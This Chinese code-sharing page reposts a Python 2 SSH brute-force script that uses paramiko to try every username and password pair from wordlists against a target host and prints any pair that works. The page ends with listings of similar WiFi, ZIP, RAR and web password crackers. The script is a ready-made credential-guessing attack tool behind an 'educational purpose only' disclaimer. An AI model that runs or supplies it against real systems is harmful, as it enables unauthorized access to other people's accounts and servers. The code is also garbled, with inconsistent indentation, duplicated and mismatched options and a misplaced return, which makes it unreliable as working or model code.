`

python SSH暴力破解工具

 
阅读更多

一个暴力破解SSH的Python代码。来自于 oschina



 

 

#!/usr/bin/env python
#-*-coding = UTF-8-*-
#author@:dengyongkai
#blog@:blog.sina.com.cn/kaiyongdeng
 
 
import sys
import os
import time
#from threading import Thread
 
try:
    from paramiko import SSHClient
    from paramiko import AutoAddPolicy
except ImportError:
    print G+'''
    You need paramiko module.
    http://www.lag.net/paramiko/    
    Debian/Ubuntu: sudo apt-get install aptitude
         : sudo aptitude install python-paramiko\n'''+END
    sys.exit(1)
 
docs =  """
            [*] This was written for educational purpose and pentest only. Use it at your own risk.
            [*] Author will be not responsible for any damage!                                                               
            [*] Toolname        : ssh_bf.py
            [*] Author          : xfk
            [*] Version         : v.0.2
            [*] Example of use  : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]
    """
 
 
if sys.platform == 'linux' or sys.platform == 'linux2':
         clearing = 'clear'
else:   
         clearing = 'cls'
os.system(clearing)
 
 
R = "\033[31m";
G = "\033[32m";
Y = "\033[33m"
END = "\033[0m"
 
 
def logo():
         print G+"\n                |---------------------------------------------------------------|"
         print "                |                                                               |"
         print "                |               blog.sina.com.cn/kaiyongdeng                    |"
         print "                |                16/05/2012 ssh_bf.py v.0.2                     |"
         print "                |                  SSH Brute Forcing Tool                       |"
         print "                |                                                               |"
         print "                |---------------------------------------------------------------|\n"
         print " \n                     [-] %s\n" % time.ctime()
         print docs+END
 
 
def help():
    print Y+"       [*]-H       --hostname/ip       <>the target hostname or ip address"
    print "     [*]-P       --port          <>the ssh service port(default is 22)"
    print "     [*]-U       --usernamelist      <>usernames list file"
    print "     [*]-P       --passwordlist      <>passwords list file"
    print "     [*]-H       --help          <>show help information"
    print "     [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END
    sys.exit(1)
     
def BruteForce(hostname,port,username,password):
        '''
        Create SSH connection to target
        '''
        ssh = SSHClient()
        ssh.set_missing_host_key_policy(AutoAddPolicy())
        try:
            ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)
            status = 'ok'
            ssh.close()
        except Exception, e:
            status = 'error'
            pass
    return status
 
 
def makelist(file):
    '''
    Make usernames and passwords lists
    '''
    items = []
 
    try:
        fd = open(file, 'r')
    except IOError:
        print R+'unable to read file \'%s\'' % file+END
        pass
 
    except Exception, e:
        print R+'unknown error'+END
        pass
 
    for line in fd.readlines():
        item = line.replace('\n', '').replace('\r', '')
        items.append(item)
    fd.close()  
    return items
 
def main():
        logo()  
#   print "hello wold"
        try:    
                for arg in sys.argv:
                        if arg.lower() == '-t' or arg.lower() == '--target':
                                hostname = str(sys.argv[int(sys.argv[1:].index(arg))+2])
                if arg.lower() == '-p' or arg.lower() == '--port':
                    port = sys.argv[int(sys.argv[1:].index(arg))+2]
                        elif arg.lower() == '-u' or arg.lower() == '--userlist':
                                userlist = sys.argv[int(sys.argv[1:].index(arg))+2]
                        elif arg.lower() == '-w' or arg.lower() == '--wordlist':
                                wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
                        elif arg.lower() == '-h' or arg.lower() == '--help':
                                help()
            elif len(sys.argv) <= 1:
                                help()
        except: 
                print R+"[-]Cheak your parametars input\n"+END
                help()
        print G+"\n[!] BruteForcing target ...\n"+END
#        print "here is ok"
#        print hostname,port,wordlist,userlist
        usernamelist = makelist(userlist)
        passwordlist = makelist(wordlist)
 
        print Y+"[*] SSH Brute Force Praparing."
        print "[*] %s user(s) loaded." % str(len(usernamelist))
        print "[*] %s password(s) loaded." % str(len(passwordlist))
        print "[*] Brute Force Is Starting......."+END
    try:
            for username in usernamelist:
                for password in passwordlist:
                print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END
                        current = BruteForce(hostname, port, username, password)
                            if current == 'error':
                    print R+"[-]O*O The username:%s and password:%s Is Disenbabled...\n" % (username,password)+END
#                               pass
                            else:
                                    print G+"\n[+] ^-^ HaHa,We Got It!!!"
                                    print "[+] username: %s" % username
                                    print "[+] password: %s\n" % password+END
#                                   sys.exit(0)
    except:
        print R+"\n[-] There Is Something Wrong,Pleace Cheak It."
        print "[-] Exitting.....\n"+END
        raise
        print Y+"[+] Done.^-^\n"+END
        sys.exit(0)
 
 
if __name__ == "__main__":
    main()

 

  • 大小: 224.3 KB
分享到:
评论

相关推荐

    Python暴力破解wifi密码.py

    Python暴力破解wifi密码.py

    暴力破解SSH的Python源码

    # ssh爆破工具 ## * 用途 基于字典文件破解ssh账号密码 ## * 依赖 pip install paramiko ## * 使用方法: Usage: sshBrute.py [options] host Options: -h, --help show this help message and exit -...

    python暴力破解wifi密码

    本次的专题是关于python暴力破解wifi密码,(本程序只实用于简单的wifi密码破译)原理比较简单,就是拿一个设定好的文本文件存一些八位数,再通过读取这些数据,一个个尝试输入,最终连接上wifi,前提是必须能搜索到...

    基于Python与Shell脚本的SSH暴力破解防护——hosts.deny文件自动配置源码

    该项目是一款利用Python和Shell脚本编写的SSH暴力破解防护工具,包含36个文件,其中Python源码26个,Shell脚本2个,其他类型文件包括文本文件、配置文件和指令文件。该工具通过分析登录日志,自动将尝试通过暴力破解...

    python ssh模块

    Python SSH 模块是用于在Python程序中实现Secure Shell (SSH)协议的工具,它允许远程服务器进行安全的命令执行、文件传输等操作。在Python中,最常用的SSH库是`paramiko`,正如压缩包中的`paramiko-1.7.7.1`所示,这...

    python暴力破解蓝奏网盘密码.zip

    python暴力破解蓝奏网盘密码 输入地址,提交延迟时间,和字典文件,即可开始提取方式是百度网盘分享地址

    Python 暴力破解Wifi密码

    Python 暴力破解Wifi密码

    python暴力破解WiFi源码

    python暴力破解WiFi源码

    python 暴力破解wifi密码

    通过字典,用python去暴力破解wifi密码,大概一秒尝试一个字典信息。

    Python-MacOS和Linux上的命令行ssh管理工具

    标题"Python-MacOS和Linux上的命令行ssh管理工具"暗示了我们将使用Python编程语言创建一个命令行工具,该工具可以在Mac OS和Linux系统上简化SSH连接和管理的过程。Python因其简洁、易读的语法和丰富的库支持而成为...

    opencl_brute:MD5,SHA1,SHA256,SHA512,HMAC,PBKDF2,SCrypt使用OpenCL(GPU,yay!)和Python的暴力破解工具

    )和Python的暴力破解工具 (c)B.Kerler和CB 2017-2019 为什么 因为仅使用CPU即可暴力破解PBKDF2 / HMAC / SCrypt并哈希MD5 / SHA1 / SHA256 / SHA512。 因为Python本身对于暴力破解非常慢 因为我们想使用Python...

    python ssh巡检工具

    1.安装python 2.在info.xlsx里填入相关设备的登录信息 3.在powershell进入当前目录,执行...5.设备需要开启ssh,不支持telnet 网络设备的device_type: 思科、锐捷、迈普:cisco_ios 华为:huawei H3C:hp_comware

    ssh工具 python脚本.zip

    工具包中有一个 ssh工具.bat 脚本,该脚本可以用于启动 ssh工具.py 脚本,双击即可运行,在linux中,也可以直接使用 python ssh工具.py 来启动 py 脚本。脚本中集成了链接ssh服务端、上传文档、上传文件夹、下载文档...

    python调用SSH命令

    Python调用SSH命令主要涉及到的是远程服务器操作,通常用于自动化运维、部署任务或者进行系统间的交互。SSH(Secure Shell)是一种网络协议,用于在不安全的网络上安全地执行远程命令。在Python中,我们可以使用多种...

    python 破解 wifi密码

    python 实现wifi密码的暴力破解。

    python使用paramiko实现ssh的功能详解

    总的来说,Paramiko库提供了丰富的API,不仅可以用于执行远程命令,还可以实现文件传输、端口转发等功能,是Python进行SSH操作的强大工具。在实际使用中,要确保服务器配置正确,并妥善管理好认证密钥,以保障安全性...

    最详细Python批量字典暴力破解zip密码

    茴字都有4种写法,解压破解那肯定不是草字头下面一个回字那么简单,玩法有很多 (破解zip工具,python批量解压zip,批量破解解压zip)

    网页密码暴力破解模板,多线程-python

    网页密码暴力破解模板,用python2编写,多线程,可自己调节线程,只是一个模板,需要自己修改里面的关键字,内容等。

    利用Python暴力破解rar加密文件

    利用Python暴力破解加密rar文件。 按住win+x选择Windows Powershell 管理员 输入 python .\ berar.py .\ 文件名.rar

    批量上传文件及执行命令脚本——ssh_batch_trans

    或 python ssh_batch_trans.py # 显示帮助文档,详细操作指南见帮助文档内容 -h,-H,--help 帮助页面 -C, --cmd 执行命令模式 -M, --command 执行具体命令 -S, --sendfile 传输文件模式 -L, --local...

Global site tag (gtag.js) - Google Analytics